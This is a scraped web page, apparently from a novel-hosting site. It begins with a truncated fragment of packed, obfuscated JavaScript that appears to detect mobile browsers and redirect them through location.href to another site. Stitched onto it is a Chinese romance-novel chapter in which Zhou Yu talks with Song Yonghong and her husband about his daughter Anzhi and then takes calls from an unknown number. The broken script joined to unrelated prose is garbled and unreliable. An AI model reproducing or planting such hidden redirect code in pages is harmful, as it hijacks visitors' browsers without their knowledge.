l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462377|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出让程扬过去接她,她拒绝了,说微信上有他发来的酒店地址,丈夫今天收车早,他们夫妻俩一起过来。 程扬下楼接宋永红夫妇,进了总套,苏庆祥四处张望,被宋永红轻轻拍打胳膊,小声提醒:“注意点,不要一副没见过世面的样子!” 话音刚落,夫妻俩就看见了周屿。 周屿装作没听见,与他们客套一番,看了眼主卧紧闭的房门,说:“安之玩儿得太累,回来路上就睡着了,让她睡吧,今晚不洗澡也行,明早我就送她回去。” 宋永红将装有干净衣服的袋子放茶几上:“行嘛,明早你让她自己换衣服。她汗多,衣服隔天一股汗馊味,必须要换。” 周屿点头:“这几年,您和叔叔都费心了。” 夫妻俩不约而同摆摆手。 “没有没有,安之从小就懂事,带她一点都不麻烦,比很多小孩都要乖。”提起这个孩子,苏庆祥满脸慈爱。尽管他对促成周屿和宋禧复婚这事有私心,但对安之的疼爱,的的确确出自于真心。 周屿给他俩倒茶,宋永红打量着他,越发不信当年他会做出那些腌臜事。 “小周,安之外婆托我给你带几句话,她身体没恢复好,现在还有点虚弱,只能在家休息。”宋永红稍作停顿,等周屿坐下来才又开口,“安之外婆说,你和宋禧之间,不管以前有什么恩怨,有多大心结,现在为人父母,两个人都要体面一点,不要闹得那么难堪,不要让安之丢脸,更不要让安之夹在中间受气。” 周屿默默点头。孩子外婆交代的这些,他早就考虑过。 宋永红继续说:“你们要是还是合不来,那就是实在没缘分,也不用强求了,父母天天吵架,最苦的是娃儿。但是,你作为娃儿爸爸,就算不跟她和她妈妈一起生活,也要尽到父亲的责任,不要像宋禧爸爸那样,这么多年——” “咳!”苏庆祥用力咳嗽一声,“讲重点,不要提一些无关人员。” 宋永红拿眼瞥他,偏要提:“不要像宋禧爸爸那样,这么多年对自家娃儿不闻不问,一点都不负责任!” “您放心,我会对宋禧和孩子负责到底。”关于宋禧父亲,周屿以前就有所了解。对这种男人,他从来都是嗤之以鼻。 “有你这句话,我们老一辈就放心了。”宋永红笑容欣慰,起身,“我们就先回去了,小周,你好好休息,这两天带安之玩这么久,还是很辛苦的。” “自个儿孩子,辛苦也是应该的。”周屿送他俩出总套时,轻描淡写提道,“晓辉和珍珍做买卖那事儿,您一家慢慢商量,什么时候商量好了,随时联系我。” 宋永红夫妇紧忙道谢。 孩子在屋里睡着,周屿出去久了不放心,便让程扬送他俩下楼。 茶几上手机震动不停,周屿回到客厅,拿起手机,发现这已经是对方打来的第二个电话。 这串陌生号码归属地为京州。 第二个来电周屿也没接。 第三个几乎不间断打过来,屏幕闪了一小会儿,周屿终于接通,却不作声,等着那边开口。